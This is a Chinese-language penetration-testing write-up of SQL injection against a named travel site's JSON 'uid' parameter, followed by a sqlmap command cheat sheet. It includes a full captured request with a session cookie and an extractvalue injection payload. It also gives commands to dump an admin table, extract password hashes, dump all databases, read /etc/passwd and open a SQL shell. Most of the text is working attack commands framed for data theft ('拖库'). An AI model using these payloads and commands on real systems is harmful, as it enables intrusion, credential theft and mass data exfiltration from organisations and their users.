某旅天下sql注入
1、SQLmap注入json格式数据
在对一个公益SRC的网站进行渗透测试,使用XRAY工具检测,发现存在SQL注入,注入点为uid。
如下,对该处sql注入进行验证。
抓包查看时发现数据格式为json格式。当注入点在json格式数据中时,sqlmap 无法识别,导致找不到注入点,使用-p指定参数又不好指定json格式中的字段,这个时候就需要人工修改一下注入的json数据,将注入点的参数前面加*。如下图:
将修改后的请求包放到sqlmap中,对uid参数进行注入。
完整请求包如下
POST /service/GetBean.aspx HTTP/1.1
Host: pre.dev.tripg.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 240
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ASP.NET_SessionId=yfftt2ou3wqdkocpd5ud4edc; agent_session=UserSessionUUID=yfftt2ou3wqdkocpd5ud4edc
Origin: http://127.0.0.1
Referer: http://pre.dev.tripg.com/web/page/login.html
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
condition=%7B%22type%22%3A%22fingerprint%22%2C%22uid*%22%3A%221126002717%27and%2F%2A%2A%2Fextractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281504882397%29%29%29and%27%22%2C%22useragent%22%3A%22chrome%2F89.0.4389.72%22%7D&tableName=sys_devices
1)执行Sqlmap命令:python.exe .\sqlmap.py -r .\1.txt -p uid --batch,结果显示uid存在sql注入。
- 判断当前用户是否是dba:
python.exe .\sqlmap.py -r .\1.txt -p uid --batch --is-dba
- --dbs可以利用的数据库:
python.exe .\sqlmap.py -r .\1.txt -p uid --batch --dbs
- 列举数据库的表名:
python.exe .\sqlmap.py -r .\1.txt -p uid --batch -D -table admin_contorl
- 获取表中的数据,包含列 :
python.exe .\sqlmap.py -r .\1.txt -p uid --batch --dump -T "tr_admin" -D "tripg"
2、SqlMap之数据库操作语句总结
SQLMAP是一款开源的渗透测试程序,它可以自动探测和利用SQL注入漏洞来获得我们想要的数据。我们可以利用它执行特定的命令、查看文件、获取各种数据;当然,最猥琐的是它利用注入点拖库的速率还是灰常让人满意的。
#> ./sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库
#> ./sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库
#>./sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户
#> ./sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户
#> ./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 列举数据库的表名
#> ./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名
#>./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、
MySQL数据库举例:
-
判断当前用户是否是dba
python sqlmap.py -u "url" --is-dba -v 1
-
--users:列出数据库管理系统用户
python sqlmap.py -u "url" --users -v 0
-
--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
-
查看用户权限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
-
--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs -v 0
-
--tables列数据库表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定数据名称
-
--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定库名
-
--dump列表中指定列的内容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范围为2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
-
--dumap-all列出所有数据库,所有表内容
python sqlmap.py -u "url" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
-
--file读取文件内容[load_file()函数]
python sqlmap.py -u "url" --file /etc/password
-
执行SQL
python sqlmap.py -u "url" --sql-shell
-
-p 指定参数
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多参数-p "cat,id"
-
POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
-
COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
-
refer欺骗
python sqlmap.py -u "url" --refer "url" -v 3
-
使用自定义user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
-
使用多线程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
-
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
-
指定操作系统绕过SQLMAP自动检测
python sqlmap.py -u "url" -v 2 --os "Windows"
-
--prefix and --postfix自定义payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
-
union注入测试
python sqlmap.py -u "url" --union-test -v -1
-
配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
-
python sqlmap.py -u "url" -v 1 --union-use --banner
-
python sqlmap.py -u "url" -v 5 --union-use --current-user
-
python sqlmap.py -u "url" -v 1 --union-use --dbs